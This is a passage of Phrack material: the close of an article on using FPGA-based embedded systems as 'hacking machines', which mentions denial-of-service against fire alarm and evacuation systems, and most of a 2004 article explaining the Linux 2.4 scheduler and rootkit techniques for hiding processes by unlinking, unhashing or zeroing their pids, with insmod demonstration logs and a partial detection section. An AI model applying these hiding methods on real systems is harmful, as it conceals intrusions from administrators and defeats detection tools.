Once the channel is synchronized, the data can be transferred to Nios‑core through the Avalon‑Bus for further processing and interaction. The framework of CDR is plenty worth for channel synchronization in various types of custom communication channels. Jean P. Nicolle had shown another type of CDR for 10Base‑T bit synchronization [23]. As someone might query for the most common approach of performing CDR channel synchronization in Phase‑Locked Loop (PLL). Yes, this is a type of well known analog approach, by we are more interested to the digital approach, with the reason of hardware re‑programmable ‑ our black magic of FPGA. For those who interested to know more advantages of digital CDR approach over the analog CDR approach can refer to [24]. Anyway, the analog CDR approach is the only option for a hardcore‑based (Scenix, Rabbit, SC12 ,...) "hacking machine" design, and it is sufferred to:

1. Longer design time for different data rate of the communication link. The PLL lock‑time to preamble length, charge‑pump circuit design, Voltage Controlled Oscillator (VCO), are very critical points.

2. Fixed‑structure design. Any changes of "hacking application" need to re‑design the circuit itself, and it is quite cumbersome.

As a result, by getting a detail technical specification of a customized system, the possibility to hack into the system has always existed, especially to launch the Denial of Service attack. By disabling an evacuation system, or a fire alarm system at emergency, it is a very serious problem than ever. Try to imagine, when different types of CDRs are implemented in a single FPGA, and it is able to perform automatic switching to select a right CDR for channel synchronization. On the other hand, any custom defined module is able to plug into the system itself and freely communicate through Avalon‑bus. Besides, the generated hardware image is able to be downloaded into flash memory through tftp. By following with a soft‑reset to re‑configure the FPGA, the "hacking machine" is successfully updated. So, it is ready to hack multiple of custom systems at the same time.

case study:

**The development of OPC technology is slowly become popular. According to The OPC Foundation, OPC technology can eliminate expensive custom interfaces and drivers tranditionally required for moving information easily around the enterprise. It promotes interoperability, including amongst different computing solutions and platforms both horizontally and vertically in the emterprise [25].

‑‑[ 7. ‑ What Else Of Magic That Embedded Linux Can Do ?

So, we know the weakness of embedded system now, and we also know how to utilize the advantages of embedded system for hacking purpose. Then, what else of magic that we can do with embedded system? This is a good question.

By referring to the development of network applications, ubiquitous and pervasive computing would be the latest issues. Embedded system would probably to be the future framework as embedded firewall, ubiquitous gateway/router, embedded IDS, mobile device security server, and so on. While existing systems are looking for network‑enabled, embedded system had established its unique position for such purpose. A good example is migrating MySQL into embedded linux to provide online database‑on‑chip service (in FPGA) for a building access system with RFID tags. Again, the usage and development of embedded system has no limitation, the only limitation is the imagination.

Tips:

**If an embedded system works as a server (http, ftp, ...), it is going to provide services such as web control, web monitoring,... **If an embedded system works as a client (http, ftp, telnet, ..), then it is more likely to be a programmable "hacking machine"

‑‑[ 8. ‑ Conclusion

Embedded system is an extremely useful technology, because we can't expect every processing unit in the world as a personal computer. While we are begining to exploit the usefullness of embedded system, we need to consider all the cases properly, where we should use it and where we shouldn't use it. Embedded security might be too new to discuss seriously now but it always exist, and sometime naive. Besides, the abuse of embedded system would cause more mysterious cases in the hacking world.

‑‑=[ References

[1] http://www.siteplayer.com/

[2] http://www.beck‑ipc.com/

[3] http://www.altera.com/

[4] http://www.xilinx.com/

[5] http://www.cl.cam.ac.uk/users/rnc1/descrack/index.html

[6] Nios Development Kit, Stratix Edition: Getting Started User Guide (Version 1.2) ‑ July 2003 http://www.altera.com/literature/ug/ug_nios_gsg_stratix_1s10.pdf

[7] http://www.microtronix.com/

[8] Nios Hardware Development Tutorial (Version 1.1) ‑

July 2003 http://www.altera.com/literature/tt/tt_nios2_hardware_tutorial.pdf

[9] Nios Software Development Tutorial (Version 1.3) ‑

July 2003 http://www.altera.com/literature/tt/tt_nios_sw.pdf

[10] Designing With The Nios (Part 1) ‑

Second‑Order, Closed‑Loop Servo Control

Circuit Cellar, #167, June 2004

[11] Designing With The Nios (Part 2) ‑

System Enhancement

Circuit Cellar, #168, July 2004

[12] Nios Tutorial (Version 1.1)

February 2004 http://www.altera.com/literature/tt/tt_nios_hw_apex_20k200e.pdf

[13] Microtronix Embedded Linux Development ‑

Getting Started Guide: Document Revision 1.2 http://www.pldworld.com/_altera/html/_excalibur/niosldk/httpd/

getting_started_guide.pdf

[14] Stratix EP1S10 Device: Pin Information

February 2004 http://www.fulcrum.ru/Read/CDROMs/Altera/literature/lit‑stx.html

[15] TMS320C6000 Assembly Language Tools User's Guide http://www.tij.co.jp/jsc/docs/dsps/support/download/tools/

toolspdf6000/spru186i.pdf

[16] Dynamic Spectrum Allocation In Composite Reconfigurable Wireless Networks

IEEE Communications Magazine, May 2004.

http://ieeexplore.ieee.org/iel5/35/28868/01299346.pdf?tp=&arnumber=

1299346&isnumber=28868

[17] TOA ‑ VX‑2000 (Digital Matrix System)

http://www.toa‑corp.co.uk/asp/catalogue/products.asp?prodcode=VX‑2000

[18] Klotz Digital ‑ Vadis (Audio Matrix), VariZone (Complex Digital PA System For Emergency Evacuation Applications) http://www.klotz‑digital.de/products/pa.htm

[19] Peavey ‑ MediaMatrix System http://mediamatrix.peavey.com/home.cfm

[20] Optimus ‑ Optimus (Audio & Communication), Improve (Distributed Audio) http://www.optimus.es/eng/english.html

[21] Simplex ‑ TrueAlarm (Fire Alarm Systems) http://www.simplexgrinnell.com/

[22] Tyco ‑ Fire Detection and Alarm, Integrated Security Systems, Health Care Communication Systems http://www.tycosafetyproducts‑us.com

[23] 10Base‑T FPGA Interface ‑ Ethernet Packets: Sending and Receiving http://www.fpga4fun.com/10BASE‑T.html

[24] Ethernet Receiver http://www.holmea.demon.co.uk/Ethernet/EthernetRx.htm

[25] The OPC Foundation

http://www.opcfoundation.org/

[26] www.ubicom.com (IP2022)

[27] http://www.zilog.com/products/family.asp?fam=218 (eZ80)

[29] http://www.fpga4fun.com/

[29] http://www.elektroda.pl/eboard

Process Hiding & The Linux Scheduler

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14

|=‑‑‑‑‑‑=[ hiding processes ( understanding the linux scheduler ) ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ by ubra from PHI Group ‑‑ 17 October 2004 ]=‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=‑‑‑‑=|

‑‑[ Table of contents

1 ‑ looking back

2 ‑ the schedule(r) inside

3 ‑ abusing the silence ( attacking )

4 ‑ can you scream ? ( countering )

5 ‑ references

6 ‑ and the game dont stop..

7 ‑ sources

‑‑[ 1 ‑ looking back

We begin our journey in the old days, when simply giving your process a weird name was enough to hide inside the tree. Sadly this is also quite effective these days due to lack of skill from stock admins. In the last millenium ..well actualy just before 1999, backdooring binaries was very popular (ps, top, pstree and others [1]) but this was very easy to spot, `ls ‑l` easy / although some could only be cought by a combination of size and some checksum / (i speak having in mind the skilled admin, because, in my view, an admin that isnt a bit hackerish is just the guy mopping up the keyboard). And it was a pain in the ass compatibility wise.

LRK (linux root kit) [2] is a good example of a "binary" kit. Not that long ago hackers started to turn towards the kernel to do their evil or to secure it. So,like everywhere this was an incremental process, starting from the upper level and going more inside kernel structures. The obvious place to look first were system calls, the entry point from userland to wonderland, and so the hooking method developed, be it by altering the sys_call_table[] (theres an article out there LKM_HACKING by pragmatic from THC about this [3]), or placing a jump inside the function body to your own code (developed by Silvio Cesare [4]) or even catching them at interrupt level (read about this in [5]).. and with this, one could intercept certain interesting system calls.

But syscalls are by no means the last (first) point where the pid structures get assembled. getdents() and alike are just calling on some other function, and they are doing this by means of yet another layer, going through the so called VFS. Hacking this VFS (Virtual FileSystem layer) is the new trend on todays kits; and since all unices are basicaly comprised of the same logical layers, this is (was) very portable. So as you see we are building from higher levels, programming wise, to lower levels; from simply backdoring the source of our troubles to going closer to the root, to the syscalls (and the functions that are "syscall‑helpers"). The VFS is not by all means as low as we can go (hehe we hackers enjoy rolling in the mud of the kernel). We yet have to explore the last frontier (well relatively speaking any new frontier is the last). Yup, the very structures that help create the pid list the task_structs. And this is where our journey

begins.

Some notes.. kernel studied is from 2.4 branch (2.4.18 for source excerpts and 2.4.30 for patches and example code), theres some x86 specific code (sorry, i dont have access to other archs), also SMP is not discussed for the same reason and anyway it should be clear in the end what will be different from UP machines.

/*

it seems the method i explain here is begining to emerge in part into the open underground in zero rk made by stealth from team teso, theres an article about it in phrack 61 [6], i was just about to miss the small REMOVE_LINKS looking so innocent there :‑)

*/

‑‑[ 2 ‑ the schedule(r) inside

As processes give birth to other processes (just like in real life) they call on execve() or fork() syscalls to either get replaced or get splited into two different processes, a few things happen. We will look into fork as this is more interesting from our point of view.

$ grep ‑rn sys_fork src/linux/

For i386 compatible archs which is what I have, you will see that without any introduction this function calls do_fork() which is where the arch independent work gets done. It is in kernel/fork.c.

<codesnip src="arch/i386/kernel/process.c" line=747> asmlinkage int sys_fork(struct pt_regs regs)

{

return do_fork(SIGCHLD, regs.esp, &regs, 0);

}

</codesnip src="arch/i386/kernel/process.c">

Besides great things which are not within the scope of this here, do_fork() allocates memory for a new task_struct

<codesnip src="kernel/fork.c" line=587>

int do_fork(unsigned long clone_flags, unsigned long stack_start, struct pt_regs *regs, unsigned long stack_size)

{

.......

struct task_struct *p;

.......

p = alloc_task_struct();

</codesnip src="kernel/fork.c">

and does some stuff on it like initializing the run_list,

<codesnip src="kernel/fork.c" line=653> INIT_LIST_HEAD(&p‑>run_list);

</codesnip src="kernel/fork.c">

which is basicaly a pointer (you should read about the linux linked list implementation to grasp this clearly [7]) that will be used in a linked list of all the processes waiting for the cpu and those expired (that got the cpu taken away, not released it willingly by means of schedule()), used inside the schedule() function.

The current priority array of what task queue we are in <codesnip src="kernel/fork.c" line=687>

p‑>array = NULL;

</codesnip src="kernel/fork.c">

(well we arent in any yet); the prio array and the runqueues are used inside the schedule() function to organize the tasks running and needing to be run.

<codesnip src="kernel/sched.c" line=124>

typedef struct runqueue runqueue_t;

struct prio_array {

int nr_active;

spinlock_t *lock;

runqueue_t *rq;

unsigned long bitmap[BITMAP_SIZE];

list_t queue[MAX_PRIO];

};

/*

* This is the main, per‑CPU runqueue data structure.

*

* Locking rule: those places that want to lock multiple runqueues * (such as the load balancing or the process migration code), lock * acquire operations must be ordered by ascending &runqueue. */

struct runqueue {

spinlock_t lock;

unsigned long nr_running, nr_switches, expired_timestamp; task_t *curr, *idle;

prio_array_t *active, *expired, arrays[2];

int prev_nr_running[NR_CPUS];

} ____cacheline_aligned;

static struct runqueue runqueues[NR_CPUS] __cacheline_aligned; </codesnip src="kernel/sched.c">

We`ll be discussing more about this later.

The cpu time that this child will get; half the parent has goes to the child (the cpu time is the amout of time the task will get the processor for itself).

<codesnip src="kernel/fork.c" line=727>

p‑>time_slice = (current‑>time_slice + 1) >> 1; current‑>time_slice >>= 1;

if (!current‑>time_slice) {

/*

* This case is rare, it happens when the parent has only * a single jiffy left from its timeslice. Taking the * runqueue lock is not a problem. */

current‑>time_slice = 1; scheduler_tick(0,0);

}

</codesnip src="kernel/fork.c">

(for the neophytes, ">> 1" is the same as "/ 2")

Next we get the tasklist lock for write to place the new process in the linked list and pidhash list

<codesnip src="kernel/fork.c" line=752> write_lock_irq(&tasklist_lock);

.......

SET_LINKS(p);

hash_pid(p);

nr_threads++;

write_unlock_irq(&tasklist_lock);

</codesnip src="kernel/fork.c">

and release the lock. include/linux/sched.h has these macro and inline functions, and the struct task_struct also:

<codesnip src="include/linux/sched.h" line=292>

struct task_struct {

.......

task_t *next_task, *prev_task;

.......

task_t *pidhash_next;

task_t **pidhash_pprev;

</codesnip src="include/linux/sched.h">

<codesnip src="include/linux/sched.h" line=532>

#define PIDHASH_SZ (4096 >> 2)

extern task_t *pidhash[PIDHASH_SZ];

#define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ ‑ 1))

static inline void hash_pid(task_t *p)

{

task_t **htable = &pidhash[pid_hashfn(p‑>pid)];

if((p‑>pidhash_next = *htable) != NULL) (*htable)‑>pidhash_pprev = &p‑>pidhash_next; *htable = p;

p‑>pidhash_pprev = htable;

}

</codesnip src="include/linux/sched.h">

<codesnip src="include/linux/sched.h" line=863>

#define SET_LINKS(p) do { \

(p)‑>next_task = &init_task; \

(p)‑>prev_task = init_task.prev_task; \ init_task.prev_task‑>next_task = (p); \ init_task.prev_task = (p); \

(p)‑>p_ysptr = NULL; \

if (((p)‑>p_osptr = (p)‑>p_pptr‑>p_cptr) != NULL) \ (p)‑>p_osptr‑>p_ysptr = p; \ (p)‑>p_pptr‑>p_cptr = p; \

} while (0)

</codesnip src="include/linux/sched.h">

So, pidhash is an array of pointers to task_structs which hash to the same pid, and are linked by means of pidhash_next/pidhash_pprev; this list is used by syscalls which get a pid as parameter, like kill() or ptrace(). The linked list is used by the /proc VFS and not only.

Last, the magic:

<codesnip src="kernel/fork.c" line=776>

#define RUN_CHILD_FIRST 1

#if RUN_CHILD_FIRST

wake_up_forked_process(p); /* do this last */

#else

wake_up_process(p); /* do this last */

#endif

</codesnip src="kernel/fork.c">

this is a function in kernel/sched.c which places the task_t (task_t is a typedef to a struct task_struct) in the cpu runqueue.

<codesnip src="kernel/sched.c" line=347>

void wake_up_forked_process(task_t * p)

{

.......

p‑>state = TASK_RUNNING;

.......

activate_task(p, rq);

</codesnip src="kernel/sched.c">

So lets walk through a process that after it gets the cpu calls just sys_nanosleep (sleep() is just a frontend) and jumps in a never ending loop, ill try to make this short. After setting the task state to TASK_INTERRUPTIBLE (makes sure we get off the cpu queue when schedule() is called), sys_nanosleep() calls upon another function, schedule_timeout() which sets us on a timer queue by means of add_timer() which makes sure we get woken up (that we get back on the cpu queue) after the delay has passed and effectively relinquishes the cpu by calling shedule() (most blocking syscalls implement this by putting the process to sleep until the perspective resource is available).

<codesnip src="kernel/timer.c" line=877>

asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp) {

.......

current‑>state = TASK_INTERRUPTIBLE;

expire = schedule_timeout(expire);

</codesnip src="kernel/timer.c">

<codesnip src="kernel/timer.c" line=819>

signed long schedule_timeout(signed long timeout)

{

struct timer_list timer;

.......

init_timer(&timer);

timer.expires = expire;

timer.data = (unsigned long) current; timer.function = process_timeout;

add_timer(&timer);

schedule();

</codesnip src="kernel/timer.c">

If you want to read more about timers look into [7].

Next, schedule() takes us off the runqueue since we already arranged to be set on again there later by means of timers.

<codesnip src="kernel/sched.c" line=744>

asmlinkage void schedule(void)

{

.......

deactivate_task(prev, rq);

</codesnip src="kernel/sched.c">

(remember that wake_up_forked_process() called activate_task() to place us on the active run queue). In case there are no tasks in the active queue it tryes to get some from the expired array as it needs to set up for another task to run.

<codesnip src="kernel/sched.c" line=784>

if (unlikely(!array‑>nr_active)) {

/*

* Switch the active and expired arrays. */

.......

</codesnip src="kernel/sched.c">

Then finds the first process there and prepares for the switch (if it doesnt find any it just leaves the current task running).

<codesnip src="kernel/sched.c" line=805> context_switch(prev, next);

</codesnip src="kernel/sched.c">

This is an inline function that prepares for the switch which will get done in __switch_to() (switch_to() is just another inline function, sort of)

<codesnip src="kernel/sched.c" line=400>

static inline void context_switch(task_t *prev, task_t *next) </codesnip src="kernel/sched.c">

<codesnip src="include/asm‑i386/system.h" line=15>

#define prepare_to_switch() do { } while(0)

#define switch_to(prev,next,last) do { \

asm volatile("pushl %%esi\n\t" \

"pushl %%edi\n\t" \

"pushl %%ebp\n\t" \

"movl %%esp,%0\n\t" /* save ESP */ \

"movl %3,%%esp\n\t" /* restore ESP */ \

"movl $1f,%1\n\t" /* save EIP */ \

"pushl %4\n\t" /* restore EIP */ \

"jmp __switch_to\n" \

"1:\t"

"popl %%ebp\n\t" \

"popl %%edi\n\t" \

"popl %%esi\n\t" \

:"=m" (prev‑>thread.esp),"=m" (prev‑>thread.eip), \

"=b" (last)

:"m" (next‑>thread.esp),"m" (next‑>thread.eip), \

"a" (prev), "d" (next), \

"b" (prev));

} while (0)

</codesnip src="include/asm‑i386/system.h">

Notice the "jmp __switch_to" inside all that assembly code that simply arranges the arguments on the stack.

<codesnip src="arch/i386/kernel/process.c" line=682>

void __switch_to(struct task_struct *prev_p, struct task_struct *next_p) {

</codesnip src="arch/i386/kernel/process.c">

context_switch() and switch_to() causes what is known as a context switch (hence the name) which in not so many words is giving the processor and memory control to another task.

But enough of this; now what happends when we jump in the never ending loop. Well, its not actually a never ending loop, if it would be your computer would just hang. What actually happends is that your task gets the cpu taken away from it every once in a while and gets it back after some other tasks get time to run (theres queueing mechanisms that let tasks share the cpu based on theire priority, if our task would have a real time priority it would have to release the cpu manualy by sched_yeld()). So how exactly is this done; lets talk a bit about the timer interrupt first coz its closely related.

This is a function like most things are in the linux kernel, and its described in a struct

<codesnip src="arch/i386/kernel/time.c" line=556>

static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0,

"timer", NULL, NULL};

</codesnip src="arch/i386/kernel/time.c">

and setup in time_init.

<codesnip src="arch/i386/kernel/time.c" line=635>

void __init time_init(void)

{

.......

#ifdef CONFIG_VISWS

.......

setup_irq(CO_IRQ_TIMER, &irq0);

#else

setup_irq(0, &irq0);

#endif

</codesnip src="arch/i386/kernel/time.c">

After this, every timer click, timer_interrupt() is called and at some point calls do_timer_interrupt()

<codesnip src="arch/i386/kernel/time.c" line=466>

static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs) {

.......

do_timer_interrupt(irq, NULL, regs);

</codesnip src="arch/i386/kernel/time.c">

which calls on do_timer (bare with me).

<codesnip src="arch/i386/kernel/time.c" line=393>

static inline void do_timer_interrupt(int irq, void *dev_id,

struct pt_regs *regs)

{

.......

do_timer(regs);

</codesnip src="arch/i386/kernel/time.c">

do_timer() does two things, first update the current process times and second call on schedule_tick() which precurses schedule() by first taking the current process of the active array and placing it in the expired array; this is the place where bad processes (the dirty hogs :‑) get their cpu taken away from them.

<codesnip src="kernel/timer.c" line=665>

void do_timer(struct pt_regs *regs)

{

(*(unsigned long *)&jiffies)++;

#ifndef CONFIG_SMP

/* SMP process accounting uses the local APIC timer */

update_process_times(user_mode(regs));

#endif

</codesnip src="kernel/timer.c">

<codesnip src="kernel/timer.c" line=578>

/*

* Called from the timer interrupt handler to charge one tick to the * current process. user_tick is 1 if the tick is user time, 0 for system. */

void update_process_times(int user_tick)

{

.......

update_one_process(p, user_tick, system, cpu); scheduler_tick(user_tick, system);

}

</codesnip src="kernel/timer.c">

<codesnip src="kernel/sched.c" line=663>

/*

* This function gets called by the timer code, with HZ frequency. * We call it with interrupts disabled.

*/

void scheduler_tick(int user_tick, int system)

{

.......

/* Task might have expired already, but not scheduled off yet */

if (p‑>array != rq‑>active) { p‑>need_resched = 1;

return;

}

.......

if (!‑‑p‑>time_slice) {

dequeue_task(p, rq‑>active); p‑>need_resched = 1;

.......

if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) { .......

enqueue_task(p, rq‑>expired); } else

enqueue_task(p, rq‑>active);

}

</codesnip src="kernel/sched.c">

Notice the "need_resched" field of the task struct getting set; now the ksoftirqd() task which is a kernel thread will catch this process and call schedule()

[root@absinth root]# ps aux | grep ksoftirqd

root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0]

<codesnip src="kernel/softirq.c" line=398>

__init int spawn_ksoftirqd(void)

{

.......

for (cpu = 0; cpu < smp_num_cpus; cpu++) { if (kernel_thread(ksoftirqd, (void *) (long) cpu,

CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)

printk("spawn_ksoftirqd() failed for cpu %d\n", cpu); .......

__initcall(spawn_ksoftirqd);

</codesnip src="kernel/softirq.c">

<codesnip src="kernel/softirq.c" line=361>

static int ksoftirqd(void * __bind_cpu)

{

.......

for (;;) {

.......

if (current‑>need_resched)

schedule();

.......

</codesnip src="kernel/softirq.c">

And if all this seems bogling to you dont worry, just walk through the kernel sources again from the begining and try to understand more than im explaining here, no one expects you to understand from the first read through such a complicated process like the linux scheduling.. remeber that the cookie lies in the details ;‑) you can read more about the linux scheduler in [7], [8] and [9]

Every cpu has its own runqueue, so apply the same logic for SMP;

So you can see how a process can be on any number of lists waiting for execution, and if its not on the linked task_struct list we`re in big trouble trying to find it. The linked and pidhash lists are NOT used by the schedule() code to run your program as you saw, some syscalls do use these (ptrace, alarm, the timers in general which use signals and all calls that use a pid ‑ for the pidhash list)

Another note to the reader..all example progs from the _attacking_ section will be anemic modules, no dev/kmem for you since i dont want my work to wind up in some lame rk that would only contribute to wrecking the net, although kmem counterparts have been developed and tested to work fine, and also, with modules we are more portable, and our goal is to present working examples that teach and dont krash your kernel; the countering section will not have a kmem enabled prog simply because I'm lazy and not in the mood to mess with elf relocations (yup to loop the list in a reliable way we have to go in kernel with the code).. I'll be providing a kernel patch though for those not doing modules.

You should know that if any modules give errors like

"hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg" when inserting, this is a "feature" (heh) so that you wont have to rmmod it, the modules do the job theyre supposed to.

‑‑[ 3 ‑ abusing the silence ( attacking )

If you dont have the IQ of a windoz admin, it should be pretty clear to you by now where we are going with this. Oh im sorry i meant to say "Windows (TM) admin (TM)" but the insult still goes. Since the linked list and pidhash have no use to the scheduler, a program, a task in general (kernel threads also) can run happy w/o them. So we remove it from there with REMOVE_LINKS/unhash_pid and if youve been a happy hacker looking at all of the sources ive listed you know by now what these 2 functions do. All that will suffer from this operation is the IPC methods (Inter Process Comunications); heh well were invisible why the fuck would we answer if someone asks "is someone there ?" :) however since only the linked list is used to output in ps and alike we could leave pidhash untouched so that kill/ptrace/timers.. will work as usualy. but i dont see why would anyone want this as a simple bruteforce of the pid space with kill(pid,0) can uncover you.. See pisu program that i made that does just that but using 76 syscalls besides kill that "leak" pid info from the two list structures. So you get the picture, right ?

hp.c is a simple module to hide a task:

[root@absinth ksched]# gcc ‑c ‑I/$LINUXSRC/include src/hp.c ‑o src/hp.o

[Method 1]

Now to show you what happends when we unlink the process from certain lists; first from the linked list

[root@absinth ksched]# ps aux | grep sleep

root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666 root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail ‑2 /var/log/messages

Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid 1129 is 0xc0f44000

Mar 13 22:02:50 absinth kernel: [HP] removing process links [root@absinth ksched]# ps aux | grep sleep

root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail ‑1 /var/log/messages

Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 13 22:03:53 absinth kernel: [HP] setting process links [root@absinth ksched]# ps aux | grep sleep

root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666 root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep [root@absinth ksched]#

[Method 2] (actualy an added enhacement to method 1)

Point made. Now from the hash list

[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg

[root@absinth ksched]# tail ‑2 /var/log/messages

Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129 is 0xc0f44000

Mar 13 22:07:04 absinth kernel: [HP] unhashing pid [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail ‑1 /var/log/messages

Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 13 22:07:18 absinth kernel: [HP] hashing pid [root@absinth ksched]# kill ‑9 1129

[root@absinth ksched]#

So upon removing from the hash list the process also becomes invulnerable to kill signals and any other syscalls that use the hash list for that matter. This also hides your task from methods of uncovering like kill(pid,0) which chkrootkit [10] uses.

* methods 1 and 2 arent that good at hideing shells since most have builtin job control and that requires a working find_task_by_pid() and for_each_task() (look at sys_setpgid() sources), however, if you know how to disable that it works just fine :P ok ill give you a hint, make the standard output/input not a terminal.

[Method 3]

But this is kids stuff; lets abuse the way the function that generates the pid list for the /proc VFS works.

<codesnip src="fs/proc/base.c" line=1057>

static int get_pid_list(int index, unsigned int *pids)

{

.......

for_each_task(p) {

.......

if (!pid)

continue;

</codesnip src="fs/proc/base.c">

Have you spoted the not ? :‑) cmon its easy, just make our pid 0 and we wont get listed (pid 0 tasks are of a special kernel breed and thats why they dont get listed there ‑ actualy the kernel itself, the first "task" and its cloned children like the swapper); also since we are changing the pid but not rehashing the pid position in the hash list all searches for pid 0 will go to the wrong hash and all searches for our old pid will find a task with a pid of 0, well it will fail each time. An interesting side effect of having pid 0 is that the task can call clone() [11] with a flag of CLONE_PID, effectively spawning hidden children as well; aint that a threat? The old pid can be recovered from tgid member of the task_struct since getpid() does it so can we, and moreover this method is so safe to do from user space since we arent complicating with possible race conditions screwing with the task list pointers. Well safe as long as your process doesnt exit as we are just changing its pid..

<codesnip src="kernel/timer.c" line=710>

asmlinkage long sys_getpid(void)

{

/* This is SMP safe ‑ current‑>pid doesn't change */

return current‑>tgid;

}

</codesnip src="kernel/timer.c">

btw if we change only the pid to 0 there will be no danger that another process migth be assigned the same pid we _had_ because in the get_pid() func theres a check for tgid also, which we leave untouched and use to restore the pid (just read the source for hp.c)

[root@absinth ksched]# ps aux | grep sleep

root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666 root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail ‑2 /var/log/messages

Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991 is 0xc30f0000

Mar 16 19:14:07 absinth kernel: [HP] zerofing pid [root@absinth ksched]# ps aux | grep sleep

root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep [root@absinth ksched]# kill ‑9 1991

bash: kill: (1991) ‑ No such process

[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4 hp.o: init_module: Device or resource busy

Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg [root@absinth ksched]# tail ‑1 /var/log/messages

Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000 Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991 [root@absinth ksched]# ps aux | grep sleep

root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666 [root@absinth ksched]#

See how cool is this? I might say that all this article is about is zerofing pids in task_structs :‑)

(and you only have to change 2 bytes at most to hide a process !)

* your task should never call exit when having pid 0 or it will suck from do_exit which is called by sys_exit

<codesnip src="kernel/exit.c" line=480>

NORET_TYPE void do_exit(long code)

{

.......

if (!tsk‑>pid)

panic("Attempted to kill the idle task!"); <codesnip src="kernel/exit.c">

That is if you hide your shell like this be sure to unhide it (set its pid to something) before you `exit`.. or , dont mind me and exit the whole system hehe. In a compromised environment do_exit could have that particular part overwritten with nops (no operation instruction ‑ an asm op code that does nothing).

You can use for the method field when insmoding hp.o any combination of the 3 bit flags presented

‑‑[ 4 ‑ can you scream ? ( countering)

Should you scream? Well, yes. Detecting the first method can be a waiting game or at best, a hide and seek pain‑in‑the‑ass inside all the waiting queues around the kernel, while holding the big lock. But no, its not imposible to find a hidden process even if it could mean running a rt task that will take over the cpu(s) and binary search the kmem device. This could be done as a brute force for certain magic numbers inside the task struct whithin the memory range one could get allocated and look if its valid with something like testing its virtual memory structures but this has the potential to be very unreliable (and ..hard).

Finding tasks that are hiden this way is a pain as no other structure contains a single tasks list so that in a smooth soop we could itterate and see what is not inside the linked list and pidhash and if there would be we wouldve probably removed out task from there too hehe. If you think by now this will be the ultimate kiddie‑method, hope no more, were smart people, for every problem we release the cure also. So there is a ..way :) .. a clever way exploiting what every process desires, the need to run ;‑} *evil grin*

This method can take a while however, if a process blocks on some call like listen() since we only catch them when they _run_ while being _hidden_.

Other checks could verify the integrity of the linked list, like the order in the list and the time stamps or something (know that ptrace() [12] fucks with this order).

To backdoor switch_to (more exactly __switch_to, remember the first is a define) is a bit tricky from a module, however ive done it but it doesnt seem very portable so instead, from a module, we hook the syscall gate thus exploiting the *need to call* of programs :‑), which is very easy, and every program in order to run usefuly has to call some syscalls, right?

But so that you know, to trap into schedule() from a module (or from kmem for that matter) we find the address of __switch_to(). We could do this two ways, either do some pattern matching for calls inside schedule() or notice that sys_fork() is right after __switch_to() and do some math. After that just insert a hook at the end of __switch_to (doing it before __switch_to would make our code execute in unsafe environment ‑ krash since its a partialy switched environment).

So this is what the module does, the kernel patch, sh.patch uses the mentioned need to run of processes by inserting a call inside the schedule() function which was described earlier and checks the structs against the current process.

So how do we deal with _real_ pid 0 tasks, that we dont catch them as being rogues? Remember what ive said about the pid 0 tasks being a special breed, they are kernel threads in effect so we can differentiate them from normal user land processes because they have no allocated memory struct / no userland memory dooh! / and no connected binary format struct for that matter (a special case would be when one would have its evil task as a mangled kernel thread but i guess we could tell even then by name or the number of active kernel threads if its an evil one).

